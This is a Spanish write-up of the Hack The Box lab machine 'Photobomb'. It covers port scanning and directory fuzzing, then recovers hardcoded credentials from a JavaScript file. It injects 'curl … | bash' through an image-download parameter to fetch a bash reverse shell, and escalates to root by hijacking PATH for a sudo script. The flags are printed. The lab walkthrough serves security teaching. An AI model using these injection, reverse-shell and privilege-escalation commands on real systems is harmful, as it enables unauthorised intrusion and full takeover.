Photobomb [EASY🟢]

Dificultad: Fácil

1- Reconocimiento y escaneo

1.1 Ping

┌──(root㉿t0mz)-[/home/kali]
└─# ping -c 1 10.10.11.182
PING 10.10.11.182 (10.10.11.182) 56(84) bytes of data.
64 bytes from 10.10.11.182: icmp_seq=1 ttl=63 time=175 ms

--- 10.10.11.182 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 175.171/175.171/175.171/0.000 ms

Podemos notar que se trata de una maquina Linux, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

# Nmap 7.95 scan initiated Mon Feb 24 23:27:08 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv -oN escaneo.txt 10.10.11.182
Nmap scan report for 10.10.11.182
Host is up, received user-set (0.18s latency).
Scanned at 2025-02-24 23:27:09 -03 for 29s
Not shown: 64635 closed tcp ports (reset), 898 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwlzrcH3g6+RJ9JSdH4fFJPibAIpAZXAl7vCJA+98jmlaLCsANWQXth3UsQ+TCEf9YydmNXO2QAIocVR8y1NUEYBlN2xG4/7txjoXr9QShFwd10HNbULQyrGzPaFEN2O/7R90uP6lxQIDsoKJu2Ihs/4YFit79oSsCPMDPn8XS1fX/BRRhz1BDqKlLPdRIzvbkauo6QEhOiaOG1pxqOj50JVWO3XNpnzPxB01fo1GiaE4q5laGbktQagtqhz87SX7vWBwJXXKA/IennJIBPcyD1G6YUK0k6lDow+OUdXlmoxw+n370Knl6PYxyDwuDnvkPabPhkCnSvlgGKkjxvqks9axnQYxkieDqIgOmIrMheEqF6GXO5zz6WtN62UAIKAgxRPgIW0SjRw2sWBnT9GnLag74cmhpGaIoWunklT2c94J7t+kpLAcsES6+yFp9Wzbk1vsqThAss0BkVsyxzvL0U9HvcyyDKLGFlFPbsiFH7br/PuxGbqdO9Jbrrs9nx60=
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBrVE9flXamwUY+wiBc9IhaQJRE40YpDsbOGPxLWCKKjNAnSBYA9CPsdgZhoV8rtORq/4n+SO0T80x1wW3g19Ew=
|   256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEp8nHKD5peyVy3X3MsJCmH/HIUvJT+MONekDg5xYZ6D
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 24 23:27:38 2025 -- 1 IP address (1 host up) scanned in 29.97 seconds

Vemos que esta corriendo el puerto 22(OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)) correspondiente a un servidor SSH, y el puerto 80(nginx 1.18.0 (Ubuntu)) correspondiente a un servidor web

Vemos tambien que el sistema operativo Linux que se encuentra corriendo en la maquina objetivo es un Ubuntu

1.3 whatweb

Para realizar el escaneo de tecnologias web, vamos a modificar el archivo hosts de la ruta "/etc/hosts" para que apunte al dominio "http://photobomb.htb/":

┌──(root㉿t0mz)-[/home/kali/ctf/photobomb]
└─# vim /etc/hosts

Editamos y quedaria asi:

┌──(root㉿t0mz)-[/home/kali/ctf/photobomb]
└─# cat /etc/hosts 
127.0.0.1       localhost
127.0.1.1       t0mz


# HACK THE BOX
10.10.11.182    photobomb.htb


# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
                                                                                                                       
┌──(root㉿t0mz)-[/home/kali/ctf/photobomb]
└─# 
IP 10.10.10.29 <--> photobomb.htb

De tal manera que cuando entramos al navegador, nos saldra la siguiente pagina:

Ahora, vamos a realizar el escaneo de tecnologias web con "whatweb":

http://photobomb.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.182], Script, Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Vemos tecnologias como:

nginx/1.18.0
OS: (Ubuntu)

1.4 Fuzzing

En este caso el Fuzzing lo vamos a realizar con la herramienta "wfuzz" con el siguiente comando:

wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://photobomb.htb/FUZZ

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/photobomb]
└─# wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://photobomb.htb/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://photobomb.htb/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                               
=====================================================================

000000007:   200        22 L     95 W       843 Ch      "# license, visit http://creativecommons.org/licenses/
                                                        by-sa/3.0/"                                           
000000012:   200        22 L     95 W       843 Ch      "# on atleast 2 different hosts"                      
000000006:   200        22 L     95 W       843 Ch      "# Attribution-Share Alike 3.0 License. To view a copy
                                                         of this"                                             
000000004:   200        22 L     95 W       843 Ch      "#"                                                   
000000014:   200        22 L     95 W       843 Ch      "http://photobomb.htb/"                               
000000003:   200        22 L     95 W       843 Ch      "# Copyright 2007 James Fisher"                       
000000001:   200        22 L     95 W       843 Ch      "# directory-list-2.3-medium.txt"                     
000000002:   200        22 L     95 W       843 Ch      "#"                                                   
000000013:   200        22 L     95 W       843 Ch      "#"                                                   
000000005:   200        22 L     95 W       843 Ch      "# This work is licensed under the Creative Commons"  
000000008:   200        22 L     95 W       843 Ch      "# or send a letter to Creative Commons, 171 Second St
                                                        reet,"                                                
000000011:   200        22 L     95 W       843 Ch      "# Priority ordered case sensative list, where entries
                                                         were found"                                          
000000009:   200        22 L     95 W       843 Ch      "# Suite 300, San Francisco, California, 94105, USA." 
000000010:   200        22 L     95 W       843 Ch      "#"                                                   
000000489:   401        7 L      12 W       188 Ch      "printer"                                             
000001227:   401        7 L      12 W       188 Ch      "printers"                                            
000004295:   401        7 L      12 W       188 Ch      "printerfriendly"                                     
000008558:   401        7 L      12 W       188 Ch      "printer_friendly"                                    
000013496:   401        7 L      12 W       188 Ch      "printer_icon"                                        
000015253:   401        7 L      12 W       188 Ch      "printer-icon"                                        
000015485:   401        7 L      12 W       188 Ch      "printer-friendly"                                    
000021900:   401        7 L      12 W       188 Ch      "printerFriendly"                                     
000045240:   200        22 L     95 W       843 Ch      "http://photobomb.htb/"                               
000047897:   401        7 L      12 W       188 Ch      "printersupplies"                                     
000051765:   401        7 L      12 W       188 Ch      "printer1"                                            
000052471:   401        7 L      12 W       188 Ch      "printer2"                                            
000084465:   401        7 L      12 W       188 Ch      "printericon"                                         
000105794:   401        7 L      12 W       188 Ch      "printer_2867"                                        
000112086:   401        7 L      12 W       188 Ch      "printer_securit"                                     
000154189:   401        7 L      12 W       188 Ch      "printer_drivers"                                     
000159305:   401        7 L      12 W       188 Ch      "printer_2"                                           
000192008:   401        7 L      12 W       188 Ch      "printer_list"                                        
000203184:   401        7 L      12 W       188 Ch      "printerdrivers"                                      
000208002:   401        7 L      12 W       188 Ch      "printer-ink"                                         

Total time: 0
Processed Requests: 220560
Filtered Requests: 220526
Requests/sec.: 0

Hay 2 directorios en concreto interesante, "printer" y "printers", si vamos a Firefox y verificamos lo que hay dentro de estos directorios:

http://photobomb.htb/printer
Panel login

Nos da como resultado un panel de login, lo mismo es para el directorio "printers", pero hay diferencia entre ambos cuando realizemos la explotación, ya veremos en la fase de explotación a continuación

2- Explotación

2.1 phobomb.js

Vamos a revisar el codigo fuente de la pagina:

<!DOCTYPE html>
<html>
<head>
  <title>Photobomb</title>
  <link type="text/css" rel="stylesheet" href="styles.css" media="all" />
  <script src="photobomb.js"></script>
</head>
<body>
  <div id="container">
    <header>
      <h1><a href="/">Photobomb</a></h1>
    </header>
    <article>
      <h2>Welcome to your new Photobomb franchise!</h2>
      <p>You will soon be making an amazing income selling premium photographic gifts.</p>
      <p>This state of-the-art web application is your gateway to this fantastic new life. Your wish is its command.</p>
      <p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p>
      <p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p>
    </article>
  </div>
</body>
</html>

Vemos que el "index.html" de la pagina, carga un archivo JavaScript llamado "photobomb.js", concretamente en esta linea:

<script src="photobomb.js"></script>

Si lo abrimos, veremos el codigo:

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Podemos ver una URL interesante dentro del codigo, con las credenciales de para iniciar sesión en el panel de login de la pagina web:

http://pH0t0:b0Mb!@photobomb.htb/printer

Vamos a copiarla y a introducirla en el navegador:

Nos preguntara si queremos iniciar sesión con el usuario "pH0t0" dentro del dominio "photobomb.htb", vamos a darle en "OK":

Nos inicia sesión correctamente, si echamos un ojo a la pagina, podremos notar que es una pagina para descargar imagenes en diferentes resoluciones y formatos:

Por lo que podemos deducir, que por detras esta haciendo una conversión de formato y resolución, vamos a ver que hace por detras con la herramienta "Burp Suite"

Vamos a abrir Burp Suite y nos vamos a ir a la pestaña de "Proxy":

Vamos a ir a la configuración del proxy de Burp, en la subpestaña de "Proxy settings":

Vemos que el proxy, esta configurado con la IP 127.0.0.1 por el puerto 8080, sabiendo esto, vamos a ir a Firefox en nuestro Kali, y nos vamos a ir a ajustes del navegador o settings:

En el cuadro de busqueda de opciones, vamos a buscar la palabra clave "network"

Vamos a abrir la configuración de red, con el boton "Settings"

Vamos a darla a "Manual proxy configuration" y lo configuraremos con la IP y puerto correspondiente del proxy de Burp, en este caso la IP 127.0.0.1 y el puerto 8080

Vamos a aceptar con el boton "Ok", este paso no necesariamente tiene por que ser así, podemos configurar el proxy de Burp con la extensión de Foxy Proxy

Abrimos Burp Suite de nuevo y nos ponemos en modo intercepción:

Volvemos a la pagina web, y vamos a descargarnos una imagen para que la solicitud la reciba Burp Suite:

POST /printer HTTP/1.1

Host: photobomb.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 78

Origin: http://photobomb.htb

DNT: 1

Sec-GPC: 1

Authorization: Basic cEgwdDA6YjBNYiE=

Connection: keep-alive

Referer: http://photobomb.htb/printer

Upgrade-Insecure-Requests: 1

Priority: u=0, i





photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000

Lo que nos interesa concretamente es la siguiente linea de la consulta:

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000

Vemos que el parámetro "photo=" indica la foto a descargar, el parámetro "filetype=" indica el formato en el que se va a descarga la imagen y por ultimo "dimensions=" correspondiente a las dimensiones de la imagen a descargar, parecería que estuviera ejecutando un script para realizar la conversión

2.2 Obtención de reverse shell

Vamos a crear una reverse shell y la vamos a almacenar en un archivo ".html", para luego mandarla al repeater de Burp Suite y ejecutar un "curl" con la reverse shell(En este caso el archivo .HTML) y con un pipe ejecutar el comando "bash" para que lo interprete como código Bash, en mi caso el archivo lo nombrare como "index.html" y utilizare el siguiente codigo Bash:

#!/bin/bash

bash -i >& /dev/tcp/{IP VPN HTB}/443 0>&1

Vamos a crearlo:

┌──(root㉿t0mz)-[/home/kali/ctf/photobomb]
└─# nvim index.html
                                                                                                                       
┌──(root㉿t0mz)-[/home/kali/ctf/photobomb]
└─# cat index.html 
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.12/443 0>&1
                                                                                                                       
┌──(root㉿t0mz)-[/home/kali/ctf/photobomb]
└─# 

Luego vamos a alojar un servidor web con Python en donde almacenamos el archivo .HTML de la reverse shell

┌──(root㉿t0mz)-[/home/kali/ctf/photobomb]
└─# python -m http.server 80         
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y por ultimo vamos a abrir una nueva consola en Kali para ponernos en escucha con netcat por el puerto 443:

┌──(root㉿t0mz)-[/home/kali]
└─# nc -nlvp 443
listening on [any] 443 ...

Ahora ya estando en escucha y con el servidor web alojado con Python en nuestro Kali, vamos a irnos al BurpSuite y vamos a modificar la consulta para agregar el "curl" anteriomente mencionado, de tal manera que quedaria:

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;curl 10.10.14.12 | bash&dimensions=3000x2000

Modificamos el parámetro "filetype" para agregar el comando curl y agregar el pipe con el comando bash para interpretar el código como Bash

Ahora, para que esto funcione, ya que el comando curl que agregamos contiene espacios, va a ser necesario que encodeemos el codigo en formato URL, para eso nos vamos a la pestaña de "Decoder" de Burp Suite y pegamos el comando curl que agregamos sin el ;

Y vamos a encodearlo en formato "URL":

De tal manera que el comando quedaria de la siguiente forma:

%63%75%72%6c%20%31%30%2e%31%30%2e%31%34%2e%31%32%20%7c%20%62%61%73%68

Y la consulta quedaria de la siguiente manera:

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;%63%75%72%6c%20%31%30%2e%31%30%2e%31%34%2e%31%32%20%7c%20%62%61%73%68&dimensions=3000x2000

Y la consulta entera:

POST /printer HTTP/1.1

Host: photobomb.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 78

Origin: http://photobomb.htb

DNT: 1

Sec-GPC: 1

Authorization: Basic cEgwdDA6YjBNYiE=

Connection: keep-alive

Referer: http://photobomb.htb/printer

Upgrade-Insecure-Requests: 1

Priority: u=0, i





photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;%63%75%72%6c%20%31%30%2e%31%30%2e%31%34%2e%31%32%20%7c%20%62%61%73%68&dimensions=3000x2000

Ahora vamos a mandar la consulta al repeater de Burp Suite con la combinación de teclas CTRL + R y vamos a la pestaña de "Repeater":

Y vamos a darle al boton "Send" para enviar la consulta al servidor web de la maquina objetivo y como le cargamos el comando "curl" encodeado en formato URL con la reverse shell, nos deberia entregar una reverse shell dentro de netcat donde estabamos en escucha por el puerto 443

Vamos a darle a "Send":

Se quedaria cargando, pero si vamos a la consola donde teniamos netcat en escucha por el puerto 443:

┌──(root㉿t0mz)-[/home/kali]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.182] 51010
bash: cannot set terminal process group (693): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ 

Ya tendriamos una reverse shell con el usuario "wizard"

2.3 Obtención de la flag de usuario

Una vez obtenida la reverse shell, la flag de usuario se encuentra dentro del directorio "/home/wizard/user.txt", vamos a visualizarlo con el comando cat:

wizard@photobomb:~/photobomb$ cat /home/wizard/user.txt
cat /home/wizard/user.txt
00d164480d674351fb7a092273bae7d1
wizard@photobomb:~/photobomb$ 

3- Escalado de privilegios

3.1 cleanup.sh

Siempre que querramos escalar privilegios dentro de una maquina, tenemos que verificar los permisos que tenemos con el usuario obtenido, para eso utilizamos el comando "sudo -l":

wizard@photobomb:~/photobomb$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:~/photobomb$ 

Podemos ver que tenemos permisos de root en el archivo "cleanup.sh" que se encuentra dentro de la carpeta "opt", vamos a visualizar que contiene este script de bash:

wizard@photobomb:/opt$ cat cleanup.sh
cat cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
wizard@photobomb:/opt$ 

Parece que esta ejecutando "find" dentro de la ruta relativa "source_images" y luego el resto del comando "-type f -name '*.jpg' -exec chown root:root {} \;", que aparenta ser el script que realiza la conversión de las imágenes

Es probable que estemos ante una vulnerabilidad que nos permita modificar el PATH de esta maquina para elevar privilegios. Para eso, vamos a irnos a un directorio donde tengamos permisos de escritura y podamos crear el archivo "find" para que luego sea llamado a través de la ruta relativa, a través del PATH y que dentro del archivo "find" tenga permisos de ejecución y que luego al ejecutarse el script "cleanup.sh" llame al archivo "find" que contenga el código para elevar privilegios, obviamente con el PATH modificado

Vamos a irnos a la carpeta "tmp" donde tenemos permisos de escritura que se encuentra en la siguiente ruta "/tmp":

wizard@photobomb:/opt$ cd /tmp
cd /tmp
wizard@photobomb:/tmp$ 

Vamos a crear el archivo "find" que va a tener el comando Bash para elevar privilegios, en mi caso utilizare el siguiente:

/bin/bash -p

Creamos el archivo con el comando "touch":

wizard@photobomb:/tmp$ touch find
touch find
wizard@photobomb:/tmp$ 

Y para almacenar el comando dentro del archivo "find", vamos a utilizar "echo", ya que no recomendaría utilizar "nano" o cualquier editor de texto sin antes realizar el tratamiento de la TTY:

wizard@photobomb:/tmp$ echo "/bin/bash -p" > find
echo "/bin/bash -p" > find
wizard@photobomb:/tmp$ 

Ahora vamos a darle permisos de ejecucion al archivo "find" con el comando "chmod":

wizard@photobomb:/tmp$ chmod +x find
chmod +x find
wizard@photobomb:/tmp$ 

Y por ultimo vamos a modificar el PATH con el siguiente comando:

sudo PATH=/tmp:$PATH /opt/cleanup.sh

Ejecutamos el comando:

wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
sudo PATH=/tmp:$PATH /opt/cleanup.sh

Vemos que pareceria que se queda cargado, pero si ejecutamos el comando "whoami":

wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
sudo PATH=/tmp:$PATH /opt/cleanup.sh
whoami
root

Somos usuarios root, por lo que la escalada de privilegios resulto exitosa, solo que no tenemos un prompt, para obtener un prompt, ejecutaremos el comando "script -c bash" :

script -c bash
Script started, file is typescript
root@photobomb:/home/wizard/photobomb# 

Ya tendremos un prompt

3.2 Obtención de la flag root

La flag de root se encuentra en la siguiente ruta "/root/root.txt", vamos a hacerle un cat para visualizarla:

root@photobomb:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
c7ac8bf7aae8df4e77e321edb1669175
root@photobomb:/home/wizard/photobomb# 

Con esto, concluimos la maquina "Photobomb" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización